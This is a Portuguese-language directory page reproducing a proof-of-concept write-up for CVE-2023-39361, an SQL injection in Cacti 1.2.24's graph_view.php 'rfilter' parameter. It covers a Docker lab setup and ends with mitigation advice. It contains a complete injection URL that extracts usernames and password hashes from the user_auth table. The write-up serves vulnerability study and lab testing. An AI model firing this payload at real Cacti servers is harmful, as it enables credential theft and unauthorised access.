Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-39361 — Exploit de prova de conceito para Cacti 1.2.24 SQL injection em graph_view.php levando a execução remota de código, com configuração de laboratório baseada em Docker e exemplos detalhados de payload. | Kitploit
Ferramentas/GitHubGitHub/chodeokcheol/cve-2023-39361
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Exploit de prova de conceito para Cacti 1.2.24 SQL injection em graph_view.php levando a execução remota de código, com configuração de laboratório baseada em Docker e exemplos detalhados de payload.

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3ª geração ] - 남기찬_7342 (ChoDeokCheol)


Resumo

  • Existe uma vulnerabilidade na função grow_right_pane_tree no arquivo graph_view.php do servidor Cacti 1.2.24.
  • Quando o parâmetro action é definido como tree_content, existe o parâmetro rfilter que recebe entrada do usuário.
  • O parâmetro rfilter é validado pela função html_validate_tree_vars, mas essa validação apenas verifica se é uma expressão regular válida.
  • Finalmente, o valor de rfilter é inserido em uma consulta SQL, permitindo injeção de código.
  • É possível extrair valores como id, username, etc. (usado neste PoC).

Pré-configuração

  • Verifique a instalação e a versão do Docker Compose com docker-compose -v.
  • Prepare os componentes Docker necessários para a configuração do CVE-2023-39361 (yml ou imagens, etc.).

Configuração e Execução

  • Use o docker-compose.yml e entrypoint.sh de vulhub/cacti/CVE-2023-39361.
  • Configure o ambiente PoC com docker compose up -d. (Imagem: cacti:1.2.24)
  • Construa o servidor Cacti no endereço localhost 8080:80 configurado no arquivo yml. Construção do ambiente Docker PoC Construção do servidor Cacti

PoC da Vulnerabilidade

  • Esta vulnerabilidade ocorre quando a configuração de autenticação permite que usuários comuns (convidados) também visualizem gráficos.

  • Esta vulnerabilidade pode ser verificada com a seguinte entrada de parâmetro:

    • %20OR%20""="((" : Código de injeção SQL típico. Força uma condição verdadeira usando OR.
    • %20UNION%20SELECT% : Obtém resultados arbitrários desejados.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Solicita os valores id#username#password.
    • (select%20user()),(select%20version()) : Obtém o usuário/versão do banco de dados.
    • %23 : Representa #, então o restante da consulta SQL é neutralizado.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


Resultados

Execução do Burp Suite e resposta Podemos verificar que a resposta foi dada conforme solicitado.


Conclusão

Ataques de injeção SQL ocorrem principalmente quando a interação com o servidor aceita entrada do usuário. Com este ataque de injeção SQL, foi possível violar a confidencialidade interna do banco de dados e resultar no vazamento de ativos.
Como medida para essa injeção SQL, pode-se verificar a validação básica de lista branca no rfilter ou escapar caracteres especiais como (", ', ;, ...). Ou podem ser feitas melhorias como usar uma biblioteca ORM, como Doctrine, ao acessar o banco de dados.

Baixar ferramenta